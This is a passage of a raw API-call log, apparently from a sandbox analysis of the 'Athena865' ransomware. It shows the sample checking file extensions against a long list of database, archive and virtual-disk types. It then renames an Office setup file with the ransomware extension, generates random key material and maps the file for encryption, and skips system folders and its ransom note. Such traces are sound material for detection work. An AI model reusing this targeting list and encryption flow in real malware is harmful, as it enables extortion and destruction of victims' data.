(lpString="setup.exe") returned 9 [0062.805] lstrcpyW (in: lpString1=0x241e8c6, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe" [0062.805] lstrlenW (lpString="setup.exe") returned 9 [0062.805] lstrlenW (lpString="Athena865") returned 9 [0062.805] lstrlenW (lpString=".dll") returned 4 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2=".dll") returned 1 [0062.805] lstrlenW (lpString=".lnk") returned 4 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2=".lnk") returned 1 [0062.805] lstrlenW (lpString=".ini") returned 4 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2=".ini") returned 1 [0062.805] lstrlenW (lpString=".sys") returned 4 [0062.805] lstrcmpiW (lpString1="setup.exe", lpString2=".sys") returned 1 [0062.805] lstrlenW (lpString="setup.exe") returned 9 [0062.805] lstrlenW (lpString="bak") returned 3 [0062.805] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0062.805] lstrlenW (lpString="ba_") returned 3 [0062.805] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0062.805] lstrlenW (lpString="dbb") returned 3 [0062.805] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0062.805] lstrlenW (lpString="vmdk") returned 4 [0062.805] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0062.805] lstrlenW (lpString="rar") returned 3 [0062.805] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0062.805] lstrlenW (lpString="zip") returned 3 [0062.805] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0062.805] lstrlenW (lpString="tgz") returned 3 [0062.805] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0062.805] lstrlenW (lpString="vbox") returned 4 [0062.805] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0062.806] lstrlenW (lpString="vdi") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0062.806] lstrlenW (lpString="vhd") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0062.806] lstrlenW (lpString="vhdx") returned 4 [0062.806] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0062.806] lstrlenW (lpString="avhd") returned 4 [0062.806] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0062.806] lstrlenW (lpString="db") returned 2 [0062.806] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0062.806] lstrlenW (lpString="db2") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0062.806] lstrlenW (lpString="db3") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0062.806] lstrlenW (lpString="dbf") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0062.806] lstrlenW (lpString="mdf") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0062.806] lstrlenW (lpString="mdb") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0062.806] lstrlenW (lpString="sql") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0062.806] lstrlenW (lpString="sqlite") returned 6 [0062.806] lstrcmpiW (lpString1="up.exe", lpString2="sqlite") returned 1 [0062.806] lstrlenW (lpString="sqlite3") returned 7 [0062.806] lstrcmpiW (lpString1="tup.exe", lpString2="sqlite3") returned 1 [0062.806] lstrlenW (lpString="sqlitedb") returned 8 [0062.806] lstrcmpiW (lpString1="etup.exe", lpString2="sqlitedb") returned -1 [0062.806] lstrlenW (lpString="xml") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0062.806] lstrlenW (lpString="$er") returned 3 [0062.806] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0062.806] lstrlenW (lpString="4dd") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0062.807] lstrlenW (lpString="4dl") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0062.807] lstrlenW (lpString="^^^") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0062.807] lstrlenW (lpString="abs") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0062.807] lstrlenW (lpString="abx") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0062.807] lstrlenW (lpString="accdb") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1 [0062.807] lstrlenW (lpString="accdc") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1 [0062.807] lstrlenW (lpString="accde") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1 [0062.807] lstrlenW (lpString="accdr") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1 [0062.807] lstrlenW (lpString="accdt") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1 [0062.807] lstrlenW (lpString="accdw") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1 [0062.807] lstrlenW (lpString="accft") returned 5 [0062.807] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1 [0062.807] lstrlenW (lpString="adb") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0062.807] lstrlenW (lpString="adb") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0062.807] lstrlenW (lpString="ade") returned 3 [0062.807] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0062.818] lstrlenW (lpString="adf") returned 3 [0062.818] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0062.818] lstrlenW (lpString="adn") returned 3 [0062.818] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0062.818] lstrlenW (lpString="adp") returned 3 [0062.818] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0062.818] lstrlenW (lpString="alf") returned 3 [0062.818] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0062.818] lstrlenW (lpString="ask") returned 3 [0062.818] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0062.818] lstrlenW (lpString="btr") returned 3 [0062.818] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0062.818] lstrlenW (lpString="cat") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0062.819] lstrlenW (lpString="cdb") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0062.819] lstrlenW (lpString="ckp") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0062.819] lstrlenW (lpString="cma") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0062.819] lstrlenW (lpString="cpd") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0062.819] lstrlenW (lpString="dacpac") returned 6 [0062.819] lstrcmpiW (lpString1="up.exe", lpString2="dacpac") returned 1 [0062.819] lstrlenW (lpString="dad") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0062.819] lstrlenW (lpString="dadiagrams") returned 10 [0062.819] lstrlenW (lpString="daschema") returned 8 [0062.819] lstrcmpiW (lpString1="etup.exe", lpString2="daschema") returned 1 [0062.819] lstrlenW (lpString="db-journal") returned 10 [0062.819] lstrlenW (lpString="db-shm") returned 6 [0062.819] lstrcmpiW (lpString1="up.exe", lpString2="db-shm") returned 1 [0062.819] lstrlenW (lpString="db-wal") returned 6 [0062.819] lstrcmpiW (lpString1="up.exe", lpString2="db-wal") returned 1 [0062.819] lstrlenW (lpString="dbc") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0062.819] lstrlenW (lpString="dbs") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0062.819] lstrlenW (lpString="dbt") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0062.819] lstrlenW (lpString="dbv") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0062.819] lstrlenW (lpString="dbx") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0062.819] lstrlenW (lpString="dcb") returned 3 [0062.819] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0062.820] lstrlenW (lpString="dct") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0062.820] lstrlenW (lpString="dcx") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0062.820] lstrlenW (lpString="ddl") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0062.820] lstrlenW (lpString="dlis") returned 4 [0062.820] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0062.820] lstrlenW (lpString="dp1") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0062.820] lstrlenW (lpString="dqy") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0062.820] lstrlenW (lpString="dsk") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0062.820] lstrlenW (lpString="dsn") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0062.820] lstrlenW (lpString="dtsx") returned 4 [0062.820] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0062.820] lstrlenW (lpString="dxl") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0062.820] lstrlenW (lpString="eco") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0062.820] lstrlenW (lpString="ecx") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0062.820] lstrlenW (lpString="edb") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0062.820] lstrlenW (lpString="epim") returned 4 [0062.820] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0062.820] lstrlenW (lpString="fcd") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0062.820] lstrlenW (lpString="fdb") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0062.820] lstrlenW (lpString="fic") returned 3 [0062.820] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0062.820] lstrlenW (lpString="flexolibrary") returned 12 [0062.821] lstrlenW (lpString="fm5") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0062.821] lstrlenW (lpString="fmp") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0062.821] lstrlenW (lpString="fmp12") returned 5 [0062.821] lstrcmpiW (lpString1="p.exe", lpString2="fmp12") returned 1 [0062.821] lstrlenW (lpString="fmpsl") returned 5 [0062.821] lstrcmpiW (lpString1="p.exe", lpString2="fmpsl") returned 1 [0062.821] lstrlenW (lpString="fol") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0062.821] lstrlenW (lpString="fp3") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0062.821] lstrlenW (lpString="fp4") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0062.821] lstrlenW (lpString="fp5") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0062.821] lstrlenW (lpString="fp7") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0062.821] lstrlenW (lpString="fpt") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0062.821] lstrlenW (lpString="frm") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0062.821] lstrlenW (lpString="gdb") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0062.821] lstrlenW (lpString="gdb") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0062.821] lstrlenW (lpString="grdb") returned 4 [0062.821] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0062.821] lstrlenW (lpString="gwi") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0062.821] lstrlenW (lpString="hdb") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0062.821] lstrlenW (lpString="his") returned 3 [0062.821] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0062.821] lstrlenW (lpString="ib") returned 2 [0062.822] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0062.822] lstrlenW (lpString="idb") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0062.822] lstrlenW (lpString="ihx") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0062.822] lstrlenW (lpString="itdb") returned 4 [0062.822] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0062.822] lstrlenW (lpString="itw") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0062.822] lstrlenW (lpString="jet") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0062.822] lstrlenW (lpString="jtx") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0062.822] lstrlenW (lpString="kdb") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0062.822] lstrlenW (lpString="kexi") returned 4 [0062.822] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0062.822] lstrlenW (lpString="kexic") returned 5 [0062.822] lstrcmpiW (lpString1="p.exe", lpString2="kexic") returned 1 [0062.822] lstrlenW (lpString="kexis") returned 5 [0062.822] lstrcmpiW (lpString1="p.exe", lpString2="kexis") returned 1 [0062.822] lstrlenW (lpString="lgc") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0062.822] lstrlenW (lpString="lwx") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0062.822] lstrlenW (lpString="maf") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0062.822] lstrlenW (lpString="maq") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0062.822] lstrlenW (lpString="mar") returned 3 [0062.822] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0062.822] lstrlenW (lpString="marshal") returned 7 [0062.822] lstrcmpiW (lpString1="tup.exe", lpString2="marshal") returned 1 [0062.822] lstrlenW (lpString="mas") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0062.823] lstrlenW (lpString="mav") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0062.823] lstrlenW (lpString="maw") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0062.823] lstrlenW (lpString="mdbhtml") returned 7 [0062.823] lstrcmpiW (lpString1="tup.exe", lpString2="mdbhtml") returned 1 [0062.823] lstrlenW (lpString="mdn") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0062.823] lstrlenW (lpString="mdt") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0062.823] lstrlenW (lpString="mfd") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0062.823] lstrlenW (lpString="mpd") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0062.823] lstrlenW (lpString="mrg") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0062.823] lstrlenW (lpString="mud") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0062.823] lstrlenW (lpString="mwb") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0062.823] lstrlenW (lpString="myd") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0062.823] lstrlenW (lpString="ndf") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0062.823] lstrlenW (lpString="nnt") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0062.823] lstrlenW (lpString="nrmlib") returned 6 [0062.823] lstrcmpiW (lpString1="up.exe", lpString2="nrmlib") returned 1 [0062.823] lstrlenW (lpString="ns2") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0062.823] lstrlenW (lpString="ns3") returned 3 [0062.823] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0062.824] lstrlenW (lpString="ns4") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0062.824] lstrlenW (lpString="nsf") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0062.824] lstrlenW (lpString="nv") returned 2 [0062.824] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0062.824] lstrlenW (lpString="nv2") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0062.824] lstrlenW (lpString="nwdb") returned 4 [0062.824] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0062.824] lstrlenW (lpString="nyf") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0062.824] lstrlenW (lpString="odb") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0062.824] lstrlenW (lpString="odb") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0062.824] lstrlenW (lpString="oqy") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0062.824] lstrlenW (lpString="ora") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0062.824] lstrlenW (lpString="orx") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0062.824] lstrlenW (lpString="owc") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0062.824] lstrlenW (lpString="p96") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0062.824] lstrlenW (lpString="p97") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0062.824] lstrlenW (lpString="pan") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0062.824] lstrlenW (lpString="pdb") returned 3 [0062.824] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0062.824] lstrlenW (lpString="pdm") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0062.825] lstrlenW (lpString="pnz") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0062.825] lstrlenW (lpString="qry") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0062.825] lstrlenW (lpString="qvd") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0062.825] lstrlenW (lpString="rbf") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0062.825] lstrlenW (lpString="rctd") returned 4 [0062.825] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0062.825] lstrlenW (lpString="rod") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0062.825] lstrlenW (lpString="rodx") returned 4 [0062.825] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0062.825] lstrlenW (lpString="rpd") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0062.825] lstrlenW (lpString="rsd") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0062.825] lstrlenW (lpString="sas7bdat") returned 8 [0062.825] lstrcmpiW (lpString1="etup.exe", lpString2="sas7bdat") returned -1 [0062.825] lstrlenW (lpString="sbf") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0062.825] lstrlenW (lpString="scx") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0062.825] lstrlenW (lpString="sdb") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0062.825] lstrlenW (lpString="sdc") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0062.825] lstrlenW (lpString="sdf") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0062.825] lstrlenW (lpString="sis") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0062.825] lstrlenW (lpString="spq") returned 3 [0062.825] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0062.826] lstrlenW (lpString="te") returned 2 [0062.826] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0062.826] lstrlenW (lpString="teacher") returned 7 [0062.826] lstrcmpiW (lpString1="tup.exe", lpString2="teacher") returned 1 [0062.826] lstrlenW (lpString="tmd") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0062.826] lstrlenW (lpString="tps") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0062.826] lstrlenW (lpString="trc") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0062.826] lstrlenW (lpString="trc") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0062.826] lstrlenW (lpString="trm") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0062.826] lstrlenW (lpString="udb") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0062.826] lstrlenW (lpString="udl") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0062.826] lstrlenW (lpString="usr") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0062.826] lstrlenW (lpString="v12") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0062.826] lstrlenW (lpString="vis") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0062.826] lstrlenW (lpString="vpd") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0062.826] lstrlenW (lpString="vvv") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0062.826] lstrlenW (lpString="wdb") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0062.826] lstrlenW (lpString="wmdb") returned 4 [0062.826] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0062.826] lstrlenW (lpString="wrk") returned 3 [0062.826] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0062.826] lstrlenW (lpString="xdb") returned 3 [0062.827] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0062.827] lstrlenW (lpString="xld") returned 3 [0062.827] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0062.827] lstrlenW (lpString="xmlff") returned 5 [0062.827] lstrcmpiW (lpString1="p.exe", lpString2="xmlff") returned -1 [0062.827] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865") returned 82 [0062.827] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.athena865"), dwFlags=0x1) returned 1 [0062.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.828] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1377656) returned 1 [0062.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.828] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.829] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.829] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.829] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x150880, lpName=0x0) returned 0x17c [0062.832] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x150880) returned 0x2d50000 [0062.902] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.902] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.902] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.903] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0062.914] CloseHandle (hObject=0x17c) returned 1 [0062.914] CloseHandle (hObject=0x154) returned 1 [0062.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 